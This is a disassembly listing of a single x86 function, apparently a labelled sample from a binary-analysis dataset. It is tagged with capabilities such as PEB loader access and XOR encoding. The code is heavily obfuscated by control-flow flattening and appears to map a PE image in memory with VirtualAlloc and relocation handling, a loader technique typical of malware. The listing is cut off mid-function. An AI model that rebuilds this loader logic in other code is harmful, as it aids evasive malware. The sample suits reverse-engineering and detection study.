Function at 0x401480
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1d4
mov eax, dword [0x4b12c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4b3418]
mov ecx, dword [0x4b3414]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
mov eax, 0x549e7b4b
sete byte [ebp - 0x69]
cmp ecx, 0xa
setl byte [ebp - 0x6a]
jmp 0x401500
mov eax, dword [0x4b3418]
mov edi, 0xf5b9d254
mov esi, 0x11436ca1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x11436ca1
sete al
cmove ecx, edi
cmp dword [0x4b3414], 0xa
setl dl
cmovge ecx, esi
xor dl, al
cmovne ecx, edi
mov eax, ecx
nop dword [eax + eax]
cmp eax, 0xfd3fc64
jle 0x401590
cmp eax, 0x4b0fe3ca
jle 0x401610
cmp eax, 0x667ee45b
jle 0x401712
cmp eax, 0x73f6d7b0
jle 0x401899
cmp eax, 0x76dcd1c5
jg 0x401b60
cmp eax, 0x7584906c
jg 0x4020d2
cmp eax, 0x74ee6ca8
jle 0x4029ed
cmp eax, 0x74ee6ca9
je 0x4035f0
cmp eax, 0x750f367c
je 0x403606
cmp eax, 0x7513b5b3
jne 0x401500
mov eax, dword [0x4b3418]
mov edi, 0x27681b0d
mov esi, 0x4f8dae2f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x4f8dae2f
jmp 0x4014e1
cmp eax, 0xbda172b8
jg 0x4016b0
cmp eax, 0xa2579da6
jle 0x401769
cmp eax, 0xaeb80db0
jle 0x4018f1
cmp eax, 0xb9ee01e1
jg 0x401bda
cmp eax, 0xb41a7d31
jg 0x402113
cmp eax, 0xb034cebc
jle 0x402a1d
cmp eax, 0xb034cebd
je 0x40362c
cmp eax, 0xb20b77c2
je 0x403668
cmp eax, 0xb21939da
jne 0x401500
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0x6bd4979
setne byte [ebp - 0x76]
jmp 0x401500
cmp eax, 0x2c9ce09c
jle 0x4017cc
cmp eax, 0x390b4042
jle 0x40194d
cmp eax, 0x4104fe66
jg 0x401c33
cmp eax, 0x3cb07e2f
jg 0x402165
cmp eax, 0x3a260ca6
jle 0x402a3d
cmp eax, 0x3a260ca7
je 0x403683
cmp eax, 0x3ad055a4
je 0x4037e9
cmp eax, 0x3b807f13
jne 0x401500
mov eax, dword [ebp - 0x1c]
mov esi, 0xa5879d40
mov dword [eax], 0xc
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x5262faf4
jmp 0x404d19
cmp eax, 0xeb297cd8
jle 0x401837
cmp eax, 0x2ca139
jle 0x401999
cmp eax, 0x6d9d36a
jg 0x401c85
cmp eax, 0x4939bd9
jg 0x4021a6
cmp eax, 0x1b4fdff
jle 0x402a7a
cmp eax, 0x1b4fe00
je 0x4037f3
cmp eax, 0x29bd3e4
je 0x4037fd
cmp eax, 0x3349721
jne 0x401500
mov eax, 0x388f61ce
jmp 0x401500
cmp eax, 0x5585bc94
jg 0x401a01
cmp eax, 0x4f8dae2e
jle 0x401cc6
cmp eax, 0x5492109d
jg 0x402205
cmp eax, 0x5189dd11
jle 0x402a9a
cmp eax, 0x5189dd12
je 0x403813
cmp eax, 0x5262faf4
je 0x40381d
cmp eax, 0x541bc790
jne 0x401500
mov eax, 0xce0a64fa
jmp 0x401500
cmp eax, 0x92c1b35c
jg 0x401a5d
cmp eax, 0x86a65d85
jle 0x401d0d
cmp eax, 0x8d5d3136
jg 0x40223b
cmp eax, 0x8a741c8a
jle 0x402adf
cmp eax, 0x8a741c8b
je 0x403830
cmp eax, 0x8a74ef82
je 0x403864
cmp eax, 0x8c3e7f3e
jne 0x401500
cmp byte [ebp - 0x75], 0
mov eax, 0xb21939da
mov ecx, 0x374f7c00
cmovne eax, ecx
jmp 0x401500
cmp eax, 0x1d799a53
jg 0x401aac
cmp eax, 0x195ec03e
jle 0x401d59
cmp eax, 0x1b4fcdb4
jg 0x40228e
cmp eax, 0x19cfca1c
jle 0x402b36
cmp eax, 0x19cfca1d
je 0x40388a
cmp eax, 0x1a10db7d
je 0x4038a4
cmp eax, 0x1acb4bc6
jne 0x401500
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x50
mov dword [ebp - 0x138], eax
mov eax, 0x323cf29f
jmp 0x401500
cmp eax, 0xd4f70e39
jg 0x401af8
cmp eax, 0xc920c7c3
jle 0x401d9a
cmp eax, 0xd0ff0e07
jg 0x4022c4
cmp eax, 0xce105e06
jle 0x402b62
cmp eax, 0xce105e07
je 0x4038bf
cmp eax, 0xcf2ce0fe
je 0x4038c9
cmp eax, 0xd05b8525
jne 0x401500
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, 0x15e73df3
jmp 0x401500
cmp eax, 0x6af5b887
jle 0x401ded
cmp eax, 0x6dfe72fa
jg 0x40230b
cmp eax, 0x6c369aa5
jle 0x402b82
cmp eax, 0x6c369aa6
je 0x4038f7
cmp eax, 0x6c52e7d4
je 0x403904
cmp eax, 0x6dc49abf
jne 0x401500
cmp byte [ebp - 0x70], 0
mov eax, 0xb9ee01e2
mov ecx, 0x94a262d1
cmovne eax, ecx
jmp 0x401500
cmp eax, 0xa879dbfb
jle 0x401e34
cmp eax, 0xaca5980e
jg 0x40235d
cmp eax, 0xaacfc35f
jle 0x402bb3
cmp eax, 0xaacfc360
je 0x40397d
cmp eax, 0xab9237ec
je 0x403987
cmp eax, 0xab9c62ef
jne 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x2ca13a
mov edi, 0x5492109e
jmp 0x40498d
cmp eax, 0x33248443
jle 0x401e7e
cmp eax, 0x37b683ec
jg 0x4023ac
cmp eax, 0x36835421
jle 0x402bd3
cmp eax, 0x36835422
je 0x40399a
cmp eax, 0x374f7c00
je 0x4039a4
cmp eax, 0x3756b730
jne 0x401500
mov eax, 0x3d75290c
jmp 0x401500
cmp eax, 0xf2f04da4
jle 0x401edc
cmp eax, 0xf779484f
jg 0x40240b
cmp eax, 0xf542dde1
jle 0x402bf3
cmp eax, 0xf542dde2
je 0x4039c3
cmp eax, 0xf5637f0d
je 0x4039cd
cmp eax, 0xf5b9d254
jne 0x401500
mov eax, dword [0x4b3418]
mov esi, 0x4c5def12
mov edi, 0x11436ca1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x11436ca1
jmp 0x404fd2
cmp eax, 0x5ea10e99
jle 0x401f49
cmp eax, 0x6168ab0e
jg 0x402469
cmp eax, 0x5fbc7744
jle 0x402c1a
cmp eax, 0x5fbc7745
je 0x403a00
cmp eax, 0x60295f90
je 0x403a4e
cmp eax, 0x604a10c7
jne 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0xce105e07
mov edi, 0x6995afbd
jmp 0x40498d
cmp eax, 0x9c7739a7
jle 0x401fcb
cmp eax, 0xa04d2d96
jg 0x4024b8
cmp eax, 0x9db032cf
jle 0x402c68
cmp eax, 0x9db032d0
je 0x403a62
cmp eax, 0x9e16c0ec
je 0x403a9f
cmp eax, 0x9e2e2ac5
jne 0x401500
mov eax, dword [ebp - 0x30]
mov eax, 0x667ee45c
jmp 0x401500
cmp eax, 0x24d2d925
jle 0x402017
cmp eax, 0x27681b0c
jg 0x402513
cmp eax, 0x25bcead0
jle 0x402c91
cmp eax, 0x25bcead1
je 0x403afb
cmp eax, 0x268c5d24
je 0x403b27
cmp eax, 0x273df832
jne 0x401500
mov eax, 0x541bc790
jmp 0x401500
cmp eax, 0xe3983cdf
jle 0x402081
cmp eax, 0xe6a9e04e
jg 0x402549
cmp eax, 0xe4f65749
jle 0x402cbd
cmp eax, 0xe4f6574a
je 0x403b3d
cmp eax, 0xe653c5ba
je 0x403b69
cmp eax, 0xe67b4d1f
jne 0x401500
mov eax, dword [0x4b3418]
mov esi, 0x8c3e7f3e
mov edi, 0x62bbb934
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x62bbb934
jmp 0x404fd2
cmp eax, 0x7c3c64e7
jg 0x4025a4
cmp eax, 0x7954ccf0
jle 0x402ce0
cmp eax, 0x7954ccf1
je 0x403bad
cmp eax, 0x79b60950
je 0x403bc7
cmp eax, 0x7c395c2a
jne 0x401500
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0x58]
mov edx, dword [edx]
movzx edx, word [edx]
mov esi, edx
xor esi, 0xfffff000
and esi, edx
movzx edx, si
add edx, dword [ecx]
mov dword [ebp - 0xfc], edx
mov ecx, dword [ebp - 0xfc]
add eax, dword [ecx]
mov dword [ebp - 0x16c], eax
mov eax, 0x46dcdb33
jmp 0x401500
cmp eax, 0xbbb3dc5c
jg 0x4025ea
cmp eax, 0xbae179e6
jle 0x402d06
cmp eax, 0xbae179e7
je 0x403bd1
cmp eax, 0xbb0a4a33
je 0x403be1
cmp eax, 0xbb448904
jne 0x401500
mov eax, dword [ebp - 0x1b8]
mov edx, 0xa1494c13
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0x38a98996
cmove eax, edx
jmp 0x401500
cmp eax, 0x46dcdb32
jg 0x402653
cmp eax, 0x436d852d
jle 0x402d3a
cmp eax, 0x436d852e
je 0x403bfe
cmp eax, 0x4459d8bc
je 0x403c46
cmp eax, 0x44b9897f
jne 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0x13e47b8
mov edi, 0x9147e1e0
jmp 0x404d7d
cmp eax, 0xab87281
jg 0x40269a
cmp eax, 0x87da4d5
jle 0x402d69
cmp eax, 0x87da4d6
je 0x403c5a
cmp eax, 0x94a4a05
je 0x403c64
cmp eax, 0x9be3e05
jne 0x401500
mov eax, 0x565eed3
jmp 0x401500
cmp eax, 0x4d7f6a24
jle 0x4026db
cmp eax, 0x4eeaceac
jle 0x402dcc
cmp eax, 0x4eeacead
je 0x403cb6
cmp eax, 0x4f3f1ed2
je 0x403cd0
cmp eax, 0x4f5589e8
jne 0x401500
mov eax, dword [ebp - 0x100]
mov eax, 0x573f9509
jmp 0x401500
cmp eax, 0x8264747a
jle 0x402709
cmp eax, 0x82d25904
jle 0x402dec
cmp eax, 0x82d25905
je 0x403d03
cmp eax, 0x82d38884
je 0x403d16
cmp eax, 0x860e7288
jne 0x401500
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x1ac]
mov dword [eax], ecx
mov eax, 0x5a17dd86
jmp 0x401500
cmp eax, 0x11fbf0da
jle 0x402768
cmp eax, 0x132a258a
jle 0x402e0c
cmp eax, 0x132a258b
je 0x403d4a
cmp eax, 0x15e73df3
je 0x403d7e
cmp eax, 0x1695d2d3
jne 0x401500
mov eax, 0x5189dd12
jmp 0x401500
cmp eax, 0xc10cd7e0
jle 0x402793
cmp eax, 0xc5a6bb2a
jle 0x402e2c
cmp eax, 0xc5a6bb2b
je 0x403db0
cmp eax, 0xc742b4d8
je 0x403dfd
cmp eax, 0xc7f7e9f6
jne 0x401500
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
cmp ecx, dword [eax]
mov eax, 0x19a8db44
setne byte [ebp - 0x6f]
jmp 0x401500
cmp eax, 0x698de3fd
jle 0x4027ca
cmp eax, 0x69a1addf
jle 0x402e4f
cmp eax, 0x69a1ade0
je 0x403e17
cmp eax, 0x69a9b56e
je 0x403e32
cmp eax, 0x69dda83b
jne 0x401500
mov eax, dword [ebp - 0x11c]
mov eax, 0x81b67f66
jmp 0x401500
cmp eax, 0xa4bcf650
jle 0x40282d
cmp eax, 0xa6b2fc20
jle 0x402e8c
cmp eax, 0xa6b2fc21
je 0x403e51
cmp eax, 0xa747a563
je 0x403eb0
cmp eax, 0xa7688142
jne 0x401500
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x90]
mov eax, 0xb41a7d32
jmp 0x401500
cmp eax, 0x3168f94b
jle 0x402879
cmp eax, 0x323cf29e
jle 0x402eac
cmp eax, 0x323cf29f
je 0x403eba
cmp eax, 0x329c71e3
je 0x403eee
cmp eax, 0x32ba3be4
jne 0x401500
mov eax, dword [0x4b3418]
mov edi, 0x94a4a05
mov esi, 0x1d275207
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x1d275207
jmp 0x4014e1
cmp eax, 0xee8c3e7c
jle 0x4028bc
cmp eax, 0xef8ec294
jle 0x402ed5
cmp eax, 0xef8ec295
je 0x403f13
cmp eax, 0xf0c35e39
je 0x403f29
cmp eax, 0xf28bb4dc
jne 0x401500
mov eax, dword [ebp - 0xf4]
mov edi, 0x3cb07e30
mov esi, 0xc02ec61a
cmp eax, dword [ebp - 0xf8]
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
setl byte [ebp - 0x71]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc02ec61a
jmp 0x404a1a
cmp eax, 0x5904ba24
jle 0x4028ed
cmp eax, 0x5a17dd85
jle 0x402f09
cmp eax, 0x5a17dd86
je 0x403f33
cmp eax, 0x5a836f67
je 0x403f48
cmp eax, 0x5cfe5498
jne 0x401500
push 4
push 0x3000
push dword [ebp - 0xe4]
push dword [ebp - 0x120]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x18]
mov edi, 0x58d60d06
mov esi, 0xcf2ce0fe
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
cmp dword [eax + 4], 0
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
sete byte [ebp - 0x6c]
imul ecx, eax
mov eax, 0xcf2ce0fe
jmp 0x404a12
cmp eax, 0x974e56b1
jle 0x40291b
cmp eax, 0x994921d6
jle 0x402f29
cmp eax, 0x994921d7
je 0x403f52
cmp eax, 0x9ac38d71
je 0x403f5c
cmp eax, 0x9b75416c
jne 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x82a39dd6
jmp 0x4023e8
cmp eax, 0x20765fec
jle 0x40296f
cmp eax, 0x2133766f
jle 0x402f65
cmp eax, 0x21337670
je 0x403f66
cmp eax, 0x23010559
je 0x403f7b
cmp eax, 0x2327ab6d
jne 0x401500
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov eax, dword [eax]
add eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x168], eax
mov eax, 0x33248444
jmp 0x401500
cmp eax, 0xd86ce6b9
jle 0x4029b6
cmp eax, 0xdbe4ca5a
jle 0x402f85
cmp eax, 0xdbe4ca5b
je 0x403fa1
cmp eax, 0xe0d31fed
je 0x403fb7
cmp eax, 0xe1f44213
jne 0x401500
mov eax, dword [ebp - 0x2c]
mov esi, 0xa04d2d97
mov edi, 0x1202fa09
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
inc eax
mov dword [ecx], eax
jmp 0x404982
cmp eax, 0x7679e5bf
jle 0x402fae
cmp eax, 0x7679e5c0
je 0x403fcd
cmp eax, 0x76862514
je 0x403fe0
cmp eax, 0x76953eaf
jne 0x401500
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x100], eax
mov eax, 0xc742b4d8
jmp 0x401500
cmp eax, 0xb44b5b1f
jle 0x402fce
cmp eax, 0xb44b5b20
je 0x403fea
cmp eax, 0xb46309b2
je 0x40401b
cmp eax, 0xb977de37
jne 0x401500
mov eax, dword [0x4b3418]
mov esi, 0x667ee45c
mov edi, 0x9e2e2ac5
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x9e2e2ac5
jmp 0x404fd2
cmp eax, 0x3dd66163
jle 0x402ffc
cmp eax, 0x3dd66164
je 0x404025
cmp eax, 0x3e4852e5
je 0x40404b
cmp eax, 0x3fa42975
jne 0x401500
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, 0xd0ff0e08
jmp 0x401500
cmp eax, 0x565eed2
jle 0x40301f
cmp eax, 0x565eed3
je 0x404062
cmp eax, 0x6536792
je 0x4040a8
cmp eax, 0x6bd4979
jne 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0xc10cd7e1
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x79b60950
jmp 0x404d19
cmp eax, 0x54cc8092
jle 0x403066
cmp eax, 0x54cc8093
je 0x4040d3
cmp eax, 0x5518d26b
je 0x40411d
cmp eax, 0x552115e7
jne 0x401500
mov eax, 0x329c71e3
jmp 0x401500
cmp eax, 0x8feaffab
jle 0x4030ab
cmp eax, 0x8feaffac
je 0x404137
cmp eax, 0x9147e1e0
je 0x404162
cmp eax, 0x9217c0df
jne 0x401500
mov eax, dword [0x4b3418]
mov esi, 0xa6b2fc21
mov edi, 0x7c3c64e8
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x7c3c64e8
jmp 0x404fd2
cmp eax, 0x1c932c01
jle 0x4030e3
cmp eax, 0x1c932c02
je 0x4041a7
cmp eax, 0x1d275207
je 0x4041f7
cmp eax, 0x1d3d1305
jne 0x401500
mov eax, 0x1a10db7d
jmp 0x401500
cmp eax, 0xd4156fb2
jle 0x403103
cmp eax, 0xd4156fb3
je 0x40420d
cmp eax, 0xd41d64cb
je 0x40421a
cmp eax, 0xd49e667e
jne 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0x195ec03f
mov edi, 0x82d38884
jmp 0x404d7d
cmp eax, 0x712e7363
jle 0x403123
cmp eax, 0x712e7364
je 0x404241
cmp eax, 0x727d69c8
je 0x404257
cmp eax, 0x7321cc9a
jne 0x401500
mov eax, dword [0x4b3418]
mov esi, 0x6dc49abf
mov edi, 0xbda172b9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xbda172b9
jmp 0x404795
cmp eax, 0xad6b122a
jle 0x403149
cmp eax, 0xad6b122b
je 0x40426a
cmp eax, 0xad6d154d
je 0x404295
cmp eax, 0xae6e1935
jne 0x401500
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x150], eax
mov eax, 0xc7f7e9f6
jmp 0x401500
cmp eax, 0x38a98995
jle 0x4031c4
cmp eax, 0x38a98996
je 0x4042b9
cmp eax, 0x38c4f1a5
je 0x4042d3
cmp eax, 0x38edb138
jne 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x9b75416c
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x3ad055a4
jmp 0x404d19
cmp eax, 0xfbb5e26e
jle 0x403200
cmp eax, 0xfbb5e26f
je 0x4042e0
cmp eax, 0xff55f7f9
je 0x40430f
cmp eax, 0xffbcfbfc
jne 0x401500
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [ebp - 0xf0]
push dword [ebp - 0xec]
vzeroupper
call fcn.0043eb90
add esp, 0xc
mov eax, 0x5fbc7745
jmp 0x401500
cmp eax, 0x6366df73
jle 0x403220
cmp eax, 0x6366df74
je 0x404328
cmp eax, 0x648fddd9
je 0x40433e
cmp eax, 0x650125c4
jne 0x401500
push dword [ebp - 0x88]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x44]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x390b4043
jmp 0x401500
cmp eax, 0xa149ea01
jle 0x403240
cmp eax, 0xa149ea02
je 0x404356
cmp eax, 0xa1642f39
je 0x40436b
cmp eax, 0xa185393e
jne 0x401500
movzx eax, word [ebp - 0xaa]
mov esi, 0x4e2f50d0
mov edi, 0xf2f54fb6
shr eax, 0xc
mov dword [ebp - 0xd4], eax
mov eax, dword [0x4b3418]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xf2f54fb6
jmp 0x40478d
cmp eax, 0x29adef8f
jle 0x403260
cmp eax, 0x29adef90
je 0x404381
cmp eax, 0x2b224654
je 0x4043a7
cmp eax, 0x2b6f522d
jne 0x401500
mov eax, 0xce0a64fa
jmp 0x401500
cmp eax, 0xe91e4c4e
jle 0x403280
cmp eax, 0xe91e4c4f
je 0x4043b1
cmp eax, 0xea8f34ce
je 0x404402
cmp eax, 0xeb23c6a0
jne 0x401500
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
mov eax, dword [0x4b3418]
mov esi, 0xf9bee58b
mov edi, 0x11464a1d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x11464a1d
jmp 0x404795
cmp eax, 0x7d9d0f16
jle 0x4032af
cmp eax, 0x7d9d0f17
je 0x40440c
cmp eax, 0x7e6f1edb
je 0x40444c
cmp eax, 0x7f0abcc7
jne 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x712e7364
mov edi, 0x9e16c0ec
jmp 0x40498d
cmp eax, 0xbc01a53b
jle 0x4032cf
cmp eax, 0xbc01a53c
je 0x404464
cmp eax, 0xbc2f3635
je 0x40446e
cmp eax, 0xbce62628
jne 0x401500
mov eax, dword [ebp - 0x1c]
mov esi, 0x9be3e05
mov dword [eax], 2
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa4af77eb
jmp 0x404191
cmp eax, 0x48f7163d
jle 0x403300
cmp eax, 0x48f7163e
je 0x404478
cmp eax, 0x4900bf52
je 0x404482
cmp eax, 0x4acb4967
jne 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0xa4af77eb
mov edi, 0xbce62628
jmp 0x404d7d
cmp eax, 0xad3e169
jle 0x40333f
cmp eax, 0xad3e16a
je 0x404495
cmp eax, 0xb560ac6
je 0x4044b5
cmp eax, 0xd8083a4
jne 0x401500
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
mov eax, 0xbb448904
jmp 0x401500
cmp eax, 0x4c5def11
jle 0x40335f
cmp eax, 0x4d31310d
je 0x4044bf
cmp eax, 0x4d4ae8cd
jne 0x405150
mov eax, dword [ebp - 0x34]
mov eax, 0x1c932c02
jmp 0x401500
cmp eax, 0x81a16072
jg 0x4033a4
cmp eax, 0x80984b47
je 0x4044da
cmp eax, 0x816504df
jne 0x401500
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x4c]
add eax, 4
mov dword [ebp - 0x128], eax
mov eax, 0x69a1ade0
jmp 0x401500
cmp eax, 0x11464a1c
jg 0x4033ec
cmp eax, 0xfd3fc65
je 0x4044ef
cmp eax, 0x11436ca1
jne 0x401500
mov eax, 0xf5b9d254
jmp 0x401500
cmp eax, 0xc0e1b85d
jg 0x403415
cmp eax, 0xbda172b9
je 0x4045b6
cmp eax, 0xc02ec61a
jne 0x401500
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf8]
mov eax, 0xf28bb4dc
jmp 0x401500
cmp eax, 0x68e138d8
jg 0x40345e
cmp eax, 0x667ee45c
je 0x4045c0
cmp eax, 0x66fa29f1
jne 0x401500
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa8]
add eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x10c]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x94]
mov eax, 0xaca5980f
jmp 0x401500
cmp eax, 0xa41e0fe9
jg 0x40347e
cmp eax, 0xa2579da7
je 0x404619
cmp eax, 0xa3f2caa0
jne 0x401500
mov eax, dword [ebp - 0x140]
movzx eax, word [eax + 0x10]
add eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, 0x552115e7
jmp 0x401500
cmp eax, 0x30e8d381
jg 0x4034a7
cmp eax, 0x2c9ce09d
je 0x404629
cmp eax, 0x2e06f185
jne 0x401500
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x1a0]
cmp dword [eax + ecx*4], 0
mov eax, 0x6d9d36b
mov ecx, 0x4f3f1ed2
cmove eax, ecx
jmp 0x401500
cmp eax, 0xed4fa972
jg 0x4034c7
cmp eax, 0xeb297cd9
je 0x40464f
cmp eax, 0xec198f44
jne 0x401500
mov eax, dword [ebp - 0x8c]
mov eax, 0xe91e4c4f
jmp 0x401500
cmp eax, 0x573f9508
jg 0x4034fe
cmp eax, 0x5585bc95
je 0x404682
cmp eax, 0x5661b48d
jne 0x401500
mov eax, dword [ebp - 0x28]
mov eax, 0xf5637f0d
jmp 0x401500
cmp eax, 0x94a262d0
jg 0x40352a
cmp eax, 0x92c1b35d
je 0x40469d
cmp eax, 0x9341e925
jne 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0xed4fa973
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x6dfe72fb
jmp 0x404d19
cmp eax, 0x1e4eb194
jg 0x403556
cmp eax, 0x1d799a54
je 0x4046b5
cmp eax, 0x1da6cc0a
jne 0x401500
mov eax, dword [ebp - 0x17c]
add eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, 0x6af5b888
jmp 0x401500
cmp eax, 0xd75245f0
jg 0x403593
cmp eax, 0xd4f70e3a
je 0x4046cb
cmp eax, 0xd64e9934
jne 0x401500
cmp byte [ebp - 0x72], 0
mov eax, 0x76953eaf
mov ecx, 0x7c395c2a
cmovne eax, ecx
jmp 0x401500
cmp eax, 0x73f6d7b1
je 0x4046f1
cmp eax, 0x74936bac
jne 0x401500
mov eax, dword [ebp - 0x15c]
cmp eax, dword [ebp - 0x160]
mov eax, 0x750f367c
setb byte [ebp - 0x70]
jmp 0x401500
cmp eax, 0xaeb80db1
je 0x404724
cmp eax, 0xaf4b03c7
jne 0x401500
mov eax, 0x9c7739a8
jmp 0x401500
cmp eax, 0x390b4043
je 0x4047b2
cmp eax, 0x391d43a8
jne 0x401500
mov eax, dword [0x4b3418]
mov esi, 0x3b807f13
mov edi, 0x5262faf4
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x5262faf4
jmp 0x404fd2
cmp eax, 0x2ca13a
je 0x4047f8
cmp eax, 0x13e47b8
jne 0x401500
mov eax, 0x9147e1e0
jmp 0x401500
cmp eax, 0x4f8dae2f
je 0x404802
cmp eax, 0x51443fbb
jne 0x401500
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x198], eax
mov eax, 0x6168ab0f
jmp 0x401500
cmp eax, 0x86a65d86
je 0x404815
cmp eax, 0x89345db4
jne 0x401500
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x90]
mov esi, 0xaacfc360
